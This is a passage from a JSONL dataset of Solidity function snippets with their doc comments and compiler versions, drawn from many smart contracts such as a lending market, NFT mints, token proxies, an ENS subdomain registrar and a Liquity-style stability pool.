FailureInfo.SET_ORIGINATION_FEE_OWNER_CHECK);\r\n }\r\n\r\n // Save current value so we can emit it in log.\r\n Exp memory oldOriginationFee = originationFee;\r\n\r\n originationFee = Exp({mantissa: originationFeeMantissa});\r\n\r\n emit NewOriginationFee(oldOriginationFee.mantissa, originationFeeMantissa);\r\n\r\n return uint(Error.NO_ERROR);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice Sets the interest rate model for a given market\r\n * @dev Admin function to set interest rate model\r\n * @param asset Asset to support\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function _setMarketInterestRateModel(address asset, InterestRateModel interestRateModel) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK);\r\n }\r\n\r\n // Set the interest rate model to `modelAddress`\r\n markets[asset].interestRateModel = interestRateModel;\r\n\r\n emit SetMarketInterestRateModel(asset, interestRateModel);\r\n\r\n return uint(Error.NO_ERROR);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity= cash - (supply + borrows)\r\n * @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash - (supply + borrows)\r\n * @param asset asset whose equity should be withdrawn\r\n * @param amount amount of equity to withdraw; must not exceed equity available\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function _withdrawEquity(address asset, uint amount) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK);\r\n }\r\n\r\n // Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply.\r\n uint cash = getCash(asset);\r\n (Error err0, uint equity) = addThenSub(cash, markets[asset].totalBorrows, markets[asset].totalSupply);\r\n if (err0 != Error.NO_ERROR) {\r\n return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY);\r\n }\r\n\r\n if (amount > equity) {\r\n return fail(Error.EQUITY_INSUFFICIENT_BALANCE, FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION);\r\n }\r\n\r\n /////////////////////////\r\n // EFFECTS & INTERACTIONS\r\n // (No safe failures beyond this point)\r\n\r\n // We ERC-20 transfer the asset out of the protocol to the admin\r\n Error err2 = doTransferOut(asset, admin, amount);\r\n if (err2 != Error.NO_ERROR) {\r\n // This is safe since it's our first interaction and it didn't do anything if it failed\r\n return fail(err2, FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED);\r\n }\r\n\r\n //event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner)\r\n emit EquityWithdrawn(asset, equity, amount, admin);\r\n\r\n return uint(Error.NO_ERROR); // success\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.\r\n * This includes any accumulated interest thus far but does NOT actually update anything in\r\n * storage\r\n * @dev Gets ETH values of accumulated supply and borrow balances\r\n * @param userAddress account for which to sum values\r\n * @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details),\r\n * sum ETH value of supplies scaled by 10e18,\r\n * sum ETH value of borrows scaled by 10e18)\r\n */", "function_code": "function calculateAccountValues(address userAddress) public view returns (uint, uint, uint) {\r\n (Error err, uint supplyValue, uint borrowValue) = calculateAccountValuesInternal(userAddress);\r\n if (err != Error.NO_ERROR) {\r\n\r\n return (uint(err), 0, 0);\r\n }\r\n\r\n return (0, supplyValue, borrowValue);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev this function exists to avoid error `CompilerError: Stack too deep, try removing local variables.` in `liquidateBorrow`\r\n */", "function_code": "function emitLiquidationEvent(LiquidateLocalVars memory localResults) internal {\r\n // event BorrowLiquidated(address targetAccount, address assetBorrow, uint borrowBalanceBefore, uint borrowBalanceAccumulated, uint amountRepaid, uint borrowBalanceAfter,\r\n // address liquidator, address assetCollateral, uint collateralBalanceBefore, uint collateralBalanceAccumulated, uint amountSeized, uint collateralBalanceAfter);\r\n emit BorrowLiquidated(localResults.targetAccount,\r\n localResults.assetBorrow,\r\n localResults.startingBorrowBalance_TargetUnderwaterAsset,\r\n localResults.currentBorrowBalance_TargetUnderwaterAsset,\r\n localResults.closeBorrowAmount_TargetUnderwaterAsset,\r\n localResults.updatedBorrowBalance_TargetUnderwaterAsset,\r\n localResults.liquidator,\r\n localResults.assetCollateral,\r\n localResults.startingSupplyBalance_TargetCollateralAsset,\r\n localResults.currentSupplyBalance_TargetCollateralAsset,\r\n localResults.seizeSupplyAmount_TargetCollateralAsset,\r\n localResults.updatedSupplyBalance_TargetCollateralAsset);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev This Hook will randomly add a token to a clan by linking the Token with clanId using `_tokenClanId`\r\n * Requirements:\r\n * - Max clan members is 2222 during mint and user cant change clan only after mint is closed.\r\n */", "function_code": "function _onMintAddTokenToRandomClan(uint256 tokenId)\r\n private\r\n returns (bool)\r\n {\r\n uint256 _random = _generateRandom(tokenId);\r\n\r\n uint256 availableClansCount = availableClans.length;\r\n uint256 availableClanIndex = _random % availableClansCount;\r\n\r\n uint8 _clanId = availableClans[availableClanIndex];\r\n _tokenClanId[tokenId] = _clanId;\r\n clanMemberCount[_clanId]++;\r\n\r\n if (clanMemberCount[_clanId] == 2222) {\r\n // swap the clan reached maximum count with the last element;\r\n availableClans[availableClanIndex] = availableClans[\r\n availableClansCount - 1\r\n ];\r\n // delete the last element which will be the swapped element;\r\n availableClans.pop();\r\n }\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "// NOTE: requires that delegate key which sent the original proposal cancels, msg.sender = proposal.proposer", "function_code": "function cancelProposal(uint256 proposalId) external nonReentrant {\r\n Proposal storage proposal = proposals[proposalId];\r\n require(proposal.flags[0] == 0, \"sponsored\");\r\n require(proposal.flags[3] == 0, \"cancelled\");\r\n require(msg.sender == proposal.proposer, \"!proposer\");\r\n proposal.flags[3] = 1; // cancelled\r\n \r\n unsafeInternalTransfer(ESCROW, proposal.proposer, proposal.tributeToken, proposal.tributeOffered);\r\n \r\n emit CancelProposal(proposalId, msg.sender);\r\n }", "version": "0.6.12"} {"comment": "///Airdrop's function", "function_code": "function airDrop ( address contractObj,\r\n\t\t\t\t\t\taddress tokenRepo,\r\n\t\t\t\t\t\taddress[] airDropDesinationAddress,\r\n\t\t\t\t\t\tuint[] amounts) public onlyOwner{\r\n\t\t\tfor( uint i = 0 ; i < airDropDesinationAddress.length ; i++ ) {\r\n\r\n\t\t\t\tERC20(contractObj).transferFrom( tokenRepo, airDropDesinationAddress[i],amounts[i]);\r\n\t\t\t}\r\n\t }", "version": "0.4.25"} {"comment": "// finish round logic -----------------------------------------------------\n// ------------------------------------------------------------------------", "function_code": "function saveRoundHash() external isActive {\n LotteryRound storage round = history[roundNumber];\n require(round.hash == bytes32(0), \"Hash already saved\");\n require(block.number > round.endBlock, \"Current round is not finished\");\n bytes32 bhash = blockhash(round.endBlock);\n require(bhash != bytes32(0), \"Too far from end round block\");\n\n round.hash = bhash;\n emit HashSaved(bhash, roundNumber);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @return true if the transfer was successful\r\n */", "function_code": "function transfer(address _to, uint256 _amount) public returns(bool) {\r\n if(msg.sender == _to) {return POSMint();}\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n emit Transfer(msg.sender, _to, _amount);\r\n if(transferSt[msg.sender].length > 0) {delete transferSt[msg.sender];}\r\n uint64 _now = uint64(now);\r\n transferSt[msg.sender].push(transferStruct(uint128(balances[msg.sender]),_now));\r\n transferSt[_to].push(transferStruct(uint128(_amount),_now));\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// callable by anyone", "function_code": "function update_twap()\r\n public\r\n {\r\n (uint256 sell_token_priceCumulative, uint32 blockTimestamp) =\r\n UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair1, saleTokenIs0);\r\n uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\r\n\r\n // ensure that at least one full period has passed since the last update\r\n require(timeElapsed >= period, 'OTC: PERIOD_NOT_ELAPSED');\r\n\r\n // overflow is desired\r\n priceAverageSell = uint256(uint224((sell_token_priceCumulative - priceCumulativeLastSell) / timeElapsed));\r\n priceCumulativeLastSell = sell_token_priceCumulative;\r\n\r\n\r\n if (uniswap_pair2 != address(0)) {\r\n // two hop\r\n (uint256 buy_token_priceCumulative, ) =\r\n UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair2, !purchaseTokenIs0);\r\n priceAverageBuy = uint256(uint224((buy_token_priceCumulative - priceCumulativeLastBuy) / timeElapsed));\r\n\r\n priceCumulativeLastBuy = buy_token_priceCumulative;\r\n }\r\n\r\n twap_counter = twap_counter.add(1);\r\n\r\n blockTimestampLast = blockTimestamp;\r\n }", "version": "0.5.15"} {"comment": "/***********************\n + Swap wrappers +\n ***********************/", "function_code": "function swapExactETHForTokens(\n Swap calldata _swap,\n uint256 _bribe\n ) external payable {\n deposit(_bribe);\n\n require(_swap.path[0] == WETH, 'MistXRouter: INVALID_PATH');\n uint amountIn = msg.value - _bribe;\n IWETH(WETH).deposit{value: amountIn}();\n assert(IWETH(WETH).transfer(pairFor(_swap.path[0], _swap.path[1]), amountIn));\n uint balanceBefore = IERC20(_swap.path[_swap.path.length - 1]).balanceOf(_swap.to);\n _swapSupportingFeeOnTransferTokens(_swap.path, _swap.to);\n require(\n IERC20(_swap.path[_swap.path.length - 1]).balanceOf(_swap.to) - balanceBefore >= _swap.amount1,\n 'MistXRouter: INSUFFICIENT_OUTPUT_AMOUNT'\n );\n }", "version": "0.8.4"} {"comment": "/**\r\n * Buy numbers of NFT in one transaction.\r\n * It will also increase the number of NFT buyer has bought.\r\n */", "function_code": "function buyBatch(uint256 amount) public payable \r\n onlyOpened\r\n onlyDuringPresale \r\n onlyAllowedBuyer(amount) \r\n onlyPayEnoughEth(amount)\r\n returns (uint256[] memory) {\r\n require(amount >= 1, \"Presale: batch size should larger than 0.\");\r\n _sold_ += amount;\r\n _buyers_[msg.sender].bought += amount;\r\n return _minterMintable_.batchMint(msg.sender, amount);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Execute a message call from the proxy contract\r\n *\r\n * @dev Can be called by the user, or by a contract authorized by the registry as long as the user has not revoked access\r\n * @param dest Address to which the call will be sent\r\n * @param howToCall Which kind of call to make\r\n * @param calldata Calldata to send\r\n * @return Result of the call (success or failure)\r\n */", "function_code": "function proxy(address dest, HowToCall howToCall, bytes calldata)\r\n public\r\n returns (bool result)\r\n {\r\n require(msg.sender == user || (!revoked && registry.contracts(msg.sender)));\r\n if (howToCall == HowToCall.Call) {\r\n result = dest.call(calldata);\r\n } else if (howToCall == HowToCall.DelegateCall) {\r\n result = dest.delegatecall(calldata);\r\n }\r\n return result;\r\n }", "version": "0.4.23"} {"comment": "// onlyOwner mint function", "function_code": "function _mintForAddress(uint256 _mintAmount, address _receiver, string memory _message) public mintCompliance(_mintAmount) onlyOwner {\r\n require(!paused, \"The contract is paused!\");\r\n // check message length\r\n bytes memory strBytes = bytes(_message);\r\n require(strBytes.length <= maxCharLimit, \"Message is too long.\");\r\n _mintLoop(_receiver, _mintAmount, _message);\r\n }", "version": "0.8.11"} {"comment": "/**\n * This function runs every time a function is invoked on this contract, it is the \"fallback function\"\n */", "function_code": "function() external payable {\n \n //get the address of the contract holding the logic implementation\n address contractLogic = addressStorage[keccak256('proxy.implementation')];\n assembly { \n //copy the data embedded in the function call that triggered the fallback\n calldatacopy(0x0, 0x0, calldatasize)\n //delegate this call to the linked contract\n let success := delegatecall(sub(gas, 10000), contractLogic, 0x0, calldatasize, 0, 0)\n let retSz := returndatasize\n //get the returned data\n returndatacopy(0, 0, retSz)\n switch success\n case 0 {\n revert(0, retSz)\n }\n default {\n return(0, retSz)\n }\n }\n }", "version": "0.5.17"} {"comment": "// meat and potatoes", "function_code": "function registerSubdomain(string calldata subdomain, uint256 tokenId) external not_stopped payable {\r\n // make sure msg.sender is the owner of the NFT tokenId\r\n address subdomainOwner = dotComSeance.ownerOf(tokenId);\r\n require(subdomainOwner == msg.sender, \"cant register a subdomain for an NFT you dont own\");\r\n\r\n // make sure that the tokenId is correlated to the domain\r\n uint256 workId = tokenId / 100;\r\n\r\n // guille works are all part of workId 0\r\n if (workId == 0) {\r\n workId = tokenId % 100;\r\n }\r\n\r\n bytes32 label = idToDomain[workId - 1];\r\n\r\n bytes32 domainNode = keccak256(abi.encodePacked(TLD_NODE, label));\r\n bytes32 subdomainLabel = keccak256(bytes(subdomain));\r\n bytes32 subnode = keccak256(abi.encodePacked(domainNode, subdomainLabel));\r\n\r\n // Subdomain must not be registered already.\r\n require(ens.owner(subnode) == address(0), \"subnode already owned\");\r\n\r\n // if subdomain was previously registered, delete it\r\n string memory oldSubdomain = idToSubdomain[tokenId];\r\n if (bytes(oldSubdomain).length != 0) {\r\n bytes32 oldSubdomainLabel = keccak256(bytes(oldSubdomain));\r\n undoRegistration(domainNode, oldSubdomainLabel, resolver);\r\n }\r\n\r\n doRegistration(domainNode, subdomainLabel, subdomainOwner, resolver);\r\n idToSubdomain[tokenId] = subdomain;\r\n\r\n emit NewSubdomain(domains[label], subdomain, tokenId, subdomainOwner, oldSubdomain);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev See {IERC20-transfer}.\r\n *\r\n * Requirements:\r\n *\r\n * - `recipient` cannot be the zero address.\r\n * - the caller must have a balance of at least `amount`.\r\n */", "function_code": "function transfer(address recipient, uint256 amount) public returns (bool) {\r\n\r\n if(availableForTransfer(_msgSender()) >= amount) {\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n } else {\r\n revert(\"Attempt to transfer more tokens than what is allowed at this time\");\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Check that the account is an already deployed non-destroyed contract.\r\n * See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol#L12\r\n */", "function_code": "function checkContract(address _account) internal view {\r\n require(_account != address(0), \"Account cannot be zero address\");\r\n\r\n uint256 size;\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly { size := extcodesize(_account) }\r\n require(size > 0, \"Account code size cannot be zero\");\r\n }", "version": "0.6.11"} {"comment": "/* \r\n * _decPow: Exponentiation function for 18-digit decimal base, and integer exponent n.\r\n * \r\n * Uses the efficient \"exponentiation by squaring\" algorithm. O(log(n)) complexity. \r\n * \r\n * Called by two functions that represent time in units of minutes:\r\n * 1) TroveManager._calcDecayedBaseRate\r\n * 2) CommunityIssuance._getCumulativeIssuanceFraction \r\n * \r\n * The exponent is capped to avoid reverting due to overflow. The cap 525600000 equals\r\n * \"minutes in 1000 years\": 60 * 24 * 365 * 1000\r\n * \r\n * If a period of > 1000 years is ever used as an exponent in either of the above functions, the result will be\r\n * negligibly different from just passing the cap, since: \r\n *\r\n * In function 1), the decayed base rate will be 0 for 1000 years or > 1000 years\r\n * In function 2), the difference in tokens issued at 1000 years and any time > 1000 years, will be negligible\r\n */", "function_code": "function _decPow(uint _base, uint _minutes) internal pure returns (uint) {\r\n \r\n if (_minutes > 525600000) {_minutes = 525600000;} // cap to avoid overflow\r\n \r\n if (_minutes == 0) {return DECIMAL_PRECISION;}\r\n\r\n uint y = DECIMAL_PRECISION;\r\n uint x = _base;\r\n uint n = _minutes;\r\n\r\n // Exponentiation-by-squaring\r\n while (n > 1) {\r\n if (n % 2 == 0) {\r\n x = decMul(x, x);\r\n n = n.div(2);\r\n } else { // if (n % 2 != 0)\r\n y = decMul(x, y);\r\n x = decMul(x, x);\r\n n = (n.sub(1)).div(2);\r\n }\r\n }\r\n\r\n return decMul(x, y);\r\n }", "version": "0.6.11"} {"comment": "/*\r\n * getTellorCurrentValue(): identical to getCurrentValue() in UsingTellor.sol\r\n *\r\n * @dev Allows the user to get the latest value for the requestId specified\r\n * @param _requestId is the requestId to look up the value for\r\n * @return ifRetrieve bool true if it is able to retrieve a value, the value, and the value's timestamp\r\n * @return value the value retrieved\r\n * @return _timestampRetrieved the value's timestamp\r\n */", "function_code": "function getTellorCurrentValue(uint256 _requestId)\r\n external\r\n view\r\n override\r\n returns (\r\n bool ifRetrieve,\r\n uint256 value,\r\n uint256 _timestampRetrieved\r\n )\r\n {\r\n uint256 _count = tellor.getNewValueCountbyRequestId(_requestId);\r\n uint256 _time =\r\n tellor.getTimestampbyRequestIDandIndex(_requestId, _count.sub(1));\r\n uint256 _value = tellor.retrieveData(_requestId, _time);\r\n if (_value > 0) return (true, _value, _time);\r\n return (false, 0, _time);\r\n }", "version": "0.6.11"} {"comment": "// --- Contract setters ---", "function_code": "function setAddresses(\r\n address _borrowerOperationsAddress,\r\n address _troveManagerAddress,\r\n address _activePoolAddress,\r\n address _rubcAddress,\r\n address _sortedTrovesAddress,\r\n address _priceFeedAddress,\r\n address _communityIssuanceAddress\r\n )\r\n external\r\n override\r\n onlyOwner\r\n {\r\n checkContract(_borrowerOperationsAddress);\r\n checkContract(_troveManagerAddress);\r\n checkContract(_activePoolAddress);\r\n checkContract(_rubcAddress);\r\n checkContract(_sortedTrovesAddress);\r\n checkContract(_priceFeedAddress);\r\n checkContract(_communityIssuanceAddress);\r\n\r\n borrowerOperations = IBorrowerOperations(_borrowerOperationsAddress);\r\n troveManager = ITroveManager(_troveManagerAddress);\r\n activePool = IActivePool(_activePoolAddress);\r\n rubc = IRUBC(_rubcAddress);\r\n sortedTroves = ISortedTroves(_sortedTrovesAddress);\r\n priceFeed = IPriceFeed(_priceFeedAddress);\r\n communityIssuance = ICommunityIssuance(_communityIssuanceAddress);\r\n\r\n emit BorrowerOperationsAddressChanged(_borrowerOperationsAddress);\r\n emit TroveManagerAddressChanged(_troveManagerAddress);\r\n emit ActivePoolAddressChanged(_activePoolAddress);\r\n emit RUBCAddressChanged(_rubcAddress);\r\n emit SortedTrovesAddressChanged(_sortedTrovesAddress);\r\n emit PriceFeedAddressChanged(_priceFeedAddress);\r\n emit CommunityIssuanceAddressChanged(_communityIssuanceAddress);\r\n\r\n _renounceOwnership();\r\n }", "version": "0.6.11"} {"comment": "/* provideToSP():\r\n *\r\n * - Triggers a RBST issuance, based on time passed since the last issuance. The RBST issuance is shared between *all* depositors and front ends\r\n * - Tags the deposit with the provided front end tag param, if it's a new deposit\r\n * - Sends depositor's accumulated gains (RBST, ETH) to depositor\r\n * - Sends the tagged front end's accumulated RBST gains to the tagged front end\r\n * - Increases deposit and tagged front end's stake, and takes new snapshots for each.\r\n */", "function_code": "function provideToSP(uint _amount, address _frontEndTag) external override {\r\n _requireFrontEndIsRegisteredOrZero(_frontEndTag);\r\n _requireFrontEndNotRegistered(msg.sender);\r\n _requireNonZeroAmount(_amount);\r\n\r\n uint initialDeposit = deposits[msg.sender].initialValue;\r\n\r\n ICommunityIssuance communityIssuanceCached = communityIssuance;\r\n\r\n _triggerRBSTIssuance(communityIssuanceCached);\r\n\r\n if (initialDeposit == 0) {_setFrontEndTag(msg.sender, _frontEndTag);}\r\n uint depositorETHGain = getDepositorETHGain(msg.sender);\r\n uint compoundedRUBCDeposit = getCompoundedRUBCDeposit(msg.sender);\r\n uint RUBCLoss = initialDeposit.sub(compoundedRUBCDeposit); // Needed only for event log\r\n\r\n // First pay out any RBST gains\r\n address frontEnd = deposits[msg.sender].frontEndTag;\r\n _payOutRBSTGains(communityIssuanceCached, msg.sender, frontEnd);\r\n\r\n // Update front end stake\r\n uint compoundedFrontEndStake = getCompoundedFrontEndStake(frontEnd);\r\n uint newFrontEndStake = compoundedFrontEndStake.add(_amount);\r\n _updateFrontEndStakeAndSnapshots(frontEnd, newFrontEndStake);\r\n emit FrontEndStakeChanged(frontEnd, newFrontEndStake, msg.sender);\r\n\r\n _sendRUBCtoStabilityPool(msg.sender, _amount);\r\n\r\n uint newDeposit = compoundedRUBCDeposit.add(_amount);\r\n _updateDepositAndSnapshots(msg.sender, newDeposit);\r\n emit UserDepositChanged(msg.sender, newDeposit);\r\n\r\n emit ETHGainWithdrawn(msg.sender, depositorETHGain, RUBCLoss); // RUBC Loss required for event log\r\n\r\n _sendETHGainToDepositor(depositorETHGain);\r\n }", "version": "0.6.11"} {"comment": "/* withdrawFromSP():\r\n *\r\n * - Triggers a RBST issuance, based on time passed since the last issuance. The RBST issuance is shared between *all* depositors and front ends\r\n * - Removes the deposit's front end tag if it is a full withdrawal\r\n * - Sends all depositor's accumulated gains (RBST, ETH) to depositor\r\n * - Sends the tagged front end's accumulated RBST gains to the tagged front end\r\n * - Decreases deposit and tagged front end's stake, and takes new snapshots for each.\r\n *\r\n * If _amount > userDeposit, the user withdraws all of their compounded deposit.\r\n */", "function_code": "function withdrawFromSP(uint _amount) external override {\r\n if (_amount !=0) {_requireNoUnderCollateralizedTroves();}\r\n uint initialDeposit = deposits[msg.sender].initialValue;\r\n _requireUserHasDeposit(initialDeposit);\r\n\r\n ICommunityIssuance communityIssuanceCached = communityIssuance;\r\n\r\n _triggerRBSTIssuance(communityIssuanceCached);\r\n\r\n uint depositorETHGain = getDepositorETHGain(msg.sender);\r\n\r\n uint compoundedRUBCDeposit = getCompoundedRUBCDeposit(msg.sender);\r\n uint RUBCtoWithdraw = LiquityMath._min(_amount, compoundedRUBCDeposit);\r\n uint RUBCLoss = initialDeposit.sub(compoundedRUBCDeposit); // Needed only for event log\r\n\r\n // First pay out any RBST gains\r\n address frontEnd = deposits[msg.sender].frontEndTag;\r\n _payOutRBSTGains(communityIssuanceCached, msg.sender, frontEnd);\r\n \r\n // Update front end stake\r\n uint compoundedFrontEndStake = getCompoundedFrontEndStake(frontEnd);\r\n uint newFrontEndStake = compoundedFrontEndStake.sub(RUBCtoWithdraw);\r\n _updateFrontEndStakeAndSnapshots(frontEnd, newFrontEndStake);\r\n emit FrontEndStakeChanged(frontEnd, newFrontEndStake, msg.sender);\r\n\r\n _sendRUBCToDepositor(msg.sender, RUBCtoWithdraw);\r\n\r\n // Update deposit\r\n uint newDeposit = compoundedRUBCDeposit.sub(RUBCtoWithdraw);\r\n _updateDepositAndSnapshots(msg.sender, newDeposit);\r\n emit UserDepositChanged(msg.sender, newDeposit);\r\n\r\n emit ETHGainWithdrawn(msg.sender, depositorETHGain, RUBCLoss); // RUBC Loss required for event log\r\n\r\n _sendETHGainToDepositor(depositorETHGain);\r\n }", "version": "0.6.11"} {"comment": "/* withdrawETHGainToTrove:\r\n * - Triggers a RBST issuance, based on time passed since the last issuance. The RBST issuance is shared between *all* depositors and front ends\r\n * - Sends all depositor's RBST gain to depositor\r\n * - Sends all tagged front end's RBST gain to the tagged front end\r\n * - Transfers the depositor's entire ETH gain from the Stability Pool to the caller's trove\r\n * - Leaves their compounded deposit in the Stability Pool\r\n * - Updates snapshots for deposit and tagged front end stake */", "function_code": "function withdrawETHGainToTrove(address _upperHint, address _lowerHint) external override {\r\n uint initialDeposit = deposits[msg.sender].initialValue;\r\n _requireUserHasDeposit(initialDeposit);\r\n _requireUserHasTrove(msg.sender);\r\n _requireUserHasETHGain(msg.sender);\r\n\r\n ICommunityIssuance communityIssuanceCached = communityIssuance;\r\n\r\n _triggerRBSTIssuance(communityIssuanceCached);\r\n\r\n uint depositorETHGain = getDepositorETHGain(msg.sender);\r\n\r\n uint compoundedRUBCDeposit = getCompoundedRUBCDeposit(msg.sender);\r\n uint RUBCLoss = initialDeposit.sub(compoundedRUBCDeposit); // Needed only for event log\r\n\r\n // First pay out any RBST gains\r\n address frontEnd = deposits[msg.sender].frontEndTag;\r\n _payOutRBSTGains(communityIssuanceCached, msg.sender, frontEnd);\r\n\r\n // Update front end stake\r\n uint compoundedFrontEndStake = getCompoundedFrontEndStake(frontEnd);\r\n uint newFrontEndStake = compoundedFrontEndStake;\r\n _updateFrontEndStakeAndSnapshots(frontEnd, newFrontEndStake);\r\n emit FrontEndStakeChanged(frontEnd, newFrontEndStake, msg.sender);\r\n\r\n _updateDepositAndSnapshots(msg.sender, compoundedRUBCDeposit);\r\n\r\n /* Emit events before transferring ETH gain to Trove.\r\n This lets the event log make more sense (i.e. so it appears that first the ETH gain is withdrawn\r\n and then it is deposited into the Trove, not the other way around). */\r\n emit ETHGainWithdrawn(msg.sender, depositorETHGain, RUBCLoss);\r\n emit UserDepositChanged(msg.sender, compoundedRUBCDeposit);\r\n\r\n ETH = ETH.sub(depositorETHGain);\r\n emit StabilityPoolETHBalanceUpdated(ETH);\r\n emit EtherSent(msg.sender, depositorETHGain);\r\n\r\n borrowerOperations.moveETHGainToTrove{ value: depositorETHGain }(msg.sender, _upperHint, _lowerHint);\r\n }", "version": "0.6.11"} {"comment": "/*\r\n * Cancels out the specified debt against the RUBC contained in the Stability Pool (as far as possible)\r\n * and transfers the Trove's ETH collateral from ActivePool to StabilityPool.\r\n * Only called by liquidation functions in the TroveManager.\r\n */", "function_code": "function offset(uint _debtToOffset, uint _collToAdd) external override {\r\n _requireCallerIsTroveManager();\r\n uint totalRUBC = totalRUBCDeposits; // cached to save an SLOAD\r\n if (totalRUBC == 0 || _debtToOffset == 0) { return; }\r\n\r\n _triggerRBSTIssuance(communityIssuance);\r\n\r\n (uint ETHGainPerUnitStaked,\r\n uint RUBCLossPerUnitStaked) = _computeRewardsPerUnitStaked(_collToAdd, _debtToOffset, totalRUBC);\r\n\r\n _updateRewardSumAndProduct(ETHGainPerUnitStaked, RUBCLossPerUnitStaked); // updates S and P\r\n\r\n _moveOffsetCollAndDebt(_collToAdd, _debtToOffset);\r\n }", "version": "0.6.11"} {"comment": "/* Calculates the ETH gain earned by the deposit since its last snapshots were taken.\r\n * Given by the formula: E = d0 * (S - S(0))/P(0)\r\n * where S(0) and P(0) are the depositor's snapshots of the sum S and product P, respectively.\r\n * d0 is the last recorded deposit value.\r\n */", "function_code": "function getDepositorETHGain(address _depositor) public view override returns (uint) {\r\n uint initialDeposit = deposits[_depositor].initialValue;\r\n\r\n if (initialDeposit == 0) { return 0; }\r\n\r\n Snapshots memory snapshots = depositSnapshots[_depositor];\r\n\r\n uint ETHGain = _getETHGainFromSnapshots(initialDeposit, snapshots);\r\n return ETHGain;\r\n }", "version": "0.6.11"} {"comment": "/*\r\n * Calculate the RBST gain earned by a deposit since its last snapshots were taken.\r\n * Given by the formula: RBST = d0 * (G - G(0))/P(0)\r\n * where G(0) and P(0) are the depositor's snapshots of the sum G and product P, respectively.\r\n * d0 is the last recorded deposit value.\r\n */", "function_code": "function getDepositorRBSTGain(address _depositor) public view override returns (uint) {\r\n uint initialDeposit = deposits[_depositor].initialValue;\r\n if (initialDeposit == 0) {return 0;}\r\n\r\n address frontEndTag = deposits[_depositor].frontEndTag;\r\n\r\n /*\r\n * If not tagged with a front end, the depositor gets a 100% cut of what their deposit earned.\r\n * Otherwise, their cut of the deposit's earnings is equal to the kickbackRate, set by the front end through\r\n * which they made their deposit.\r\n */\r\n uint kickbackRate = frontEndTag == address(0) ? DECIMAL_PRECISION : frontEnds[frontEndTag].kickbackRate;\r\n\r\n Snapshots memory snapshots = depositSnapshots[_depositor];\r\n\r\n uint RBSTGain = kickbackRate.mul(_getRBSTGainFromSnapshots(initialDeposit, snapshots)).div(DECIMAL_PRECISION);\r\n\r\n return RBSTGain;\r\n }", "version": "0.6.11"} {"comment": "/*\r\n * Return the RBST gain earned by the front end. Given by the formula: E = D0 * (G - G(0))/P(0)\r\n * where G(0) and P(0) are the depositor's snapshots of the sum G and product P, respectively.\r\n *\r\n * D0 is the last recorded value of the front end's total tagged deposits.\r\n */", "function_code": "function getFrontEndRBSTGain(address _frontEnd) public view override returns (uint) {\r\n uint frontEndStake = frontEndStakes[_frontEnd];\r\n if (frontEndStake == 0) { return 0; }\r\n\r\n uint kickbackRate = frontEnds[_frontEnd].kickbackRate;\r\n uint frontEndShare = uint(DECIMAL_PRECISION).sub(kickbackRate);\r\n\r\n Snapshots memory snapshots = frontEndSnapshots[_frontEnd];\r\n\r\n uint RBSTGain = frontEndShare.mul(_getRBSTGainFromSnapshots(frontEndStake, snapshots)).div(DECIMAL_PRECISION);\r\n return RBSTGain;\r\n }", "version": "0.6.11"} {"comment": "/*\r\n * Return the user's compounded deposit. Given by the formula: d = d0 * P/P(0)\r\n * where P(0) is the depositor's snapshot of the product P, taken when they last updated their deposit.\r\n */", "function_code": "function getCompoundedRUBCDeposit(address _depositor) public view override returns (uint) {\r\n uint initialDeposit = deposits[_depositor].initialValue;\r\n if (initialDeposit == 0) { return 0; }\r\n\r\n Snapshots memory snapshots = depositSnapshots[_depositor];\r\n\r\n uint compoundedDeposit = _getCompoundedStakeFromSnapshots(initialDeposit, snapshots);\r\n return compoundedDeposit;\r\n }", "version": "0.6.11"} {"comment": "/*\r\n * Return the front end's compounded stake. Given by the formula: D = D0 * P/P(0)\r\n * where P(0) is the depositor's snapshot of the product P, taken at the last time\r\n * when one of the front end's tagged deposits updated their deposit.\r\n *\r\n * The front end's compounded stake is equal to the sum of its depositors' compounded deposits.\r\n */", "function_code": "function getCompoundedFrontEndStake(address _frontEnd) public view override returns (uint) {\r\n uint frontEndStake = frontEndStakes[_frontEnd];\r\n if (frontEndStake == 0) { return 0; }\r\n\r\n Snapshots memory snapshots = frontEndSnapshots[_frontEnd];\r\n\r\n uint compoundedFrontEndStake = _getCompoundedStakeFromSnapshots(frontEndStake, snapshots);\r\n return compoundedFrontEndStake;\r\n }", "version": "0.6.11"} {"comment": "////////\n/// @notice only `allowedSpenders[]` Creates a new `Payment`\n/// @param _name Brief description of the payment that is 